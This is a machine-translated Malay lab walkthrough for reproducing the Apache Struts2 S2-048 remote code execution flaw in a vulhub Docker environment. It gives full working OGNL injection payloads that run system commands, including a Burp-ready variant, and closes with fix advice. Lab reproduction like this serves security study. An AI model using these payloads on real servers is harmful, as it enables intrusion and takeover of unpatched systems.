Rumah >Operasi dan penyelenggaraan >Keselamatan >Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048

Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048

WBOY
WBOYke hadapan
2023-05-12 19:43:101615semak imbas

0x00Pengenalan

Rangka kerja Struts2 ialah seni bina aplikasi web sumber terbuka untuk membangunkan aplikasi web Java EE . Ia menggunakan dan memanjangkan Java Servlet API dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC.

Gambaran Keseluruhan Kerentanan 0x01

Siri Apache Struts2 2.3.x mempunyai pemalam struts2-struts1-plugin didayakan dan direktori struts2-showcase wujud kerentanan ialah apabila ActionMessage menerima pelanggan data parameter Boleh dikawal, pemprosesan yang tidak betul selepas penyambungan dan penghantaran data seterusnya membawa kepada pelaksanaan kod arbitrari

0x02 Skop Impak

Struts2 didayakan dalam Apache Struts 2.3.x series -struts1-plugin versi pemalam.

Pembinaan persekitaran 0x03

1 Lebih rumit untuk membina Apache Struts2 sendirian ini dibina menggunakan persekitaran docker dalam vulhub.

Alamat muat turun: https://github.com/vulhub/vulhub

2 Selepas memuat turun, nyahzip dan masukkan direktori s2-048, mulakan persekitaran kerentanan

cd cd vulhub -master/struts2/s2-048/ //Masukkan direktori

怎么进行Apache Struts2--048远程代码执行漏洞复现

docker-compose up -d //Mulakan julat penangkapan

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Gunakan docker ps untuk menyemak sama ada permulaan berjaya

怎么进行Apache Struts2--048远程代码执行漏洞复现

4 dalam penyemak imbas dan lihat persekitaran halaman berikut Pembinaan selesai

怎么进行Apache Struts2--048远程代码执行漏洞复现

0x04 pengulangan kerentanan

1 Masukkan pautan berikut dalam penyemak imbas untuk mengakses halaman kerentanan

http://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2 Masukkan ${1+1} dalam bentuk pertama "Nama Gangster", Masukkan apa sahaja yang anda mahu di bawah dan klik hantar untuk melihat ungkapan OGNL yang dilaksanakan

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. Letakkan ${1+1 at Gangster Name" }Ubah suai penyata muatan yang dilaksanakan oleh perintah berikut

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context[' com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@ getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Anda juga boleh Gunakan Burp packet capture untuk mengubah suai penyata muatan yang dilaksanakan oleh arahan

Nota: Muatan perlu menggunakan pengekodan URL

%{( #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?( #_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=# container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess (#dm)))).(#cmd='id') .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))) .(#cmds=(#iswin?{'cmd.exe', '/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java .lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream( true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse(). getOutputStream())).(@org.apache.commons.io. IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. Ia boleh dilaksanakan menggunakan skrip automatik atau alatan grafik, dan tidak ditunjukkan di sini.

Alat boleh dicari dan dimuat turun di GitHub

cadangan pembaikan 0x05

1

2. Mengikut situasi perniagaan, lumpuhkan dan tutup (padam) pakej struts-2.3.xappsstruts2-showcase.war

Atas ialah kandungan terperinci Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam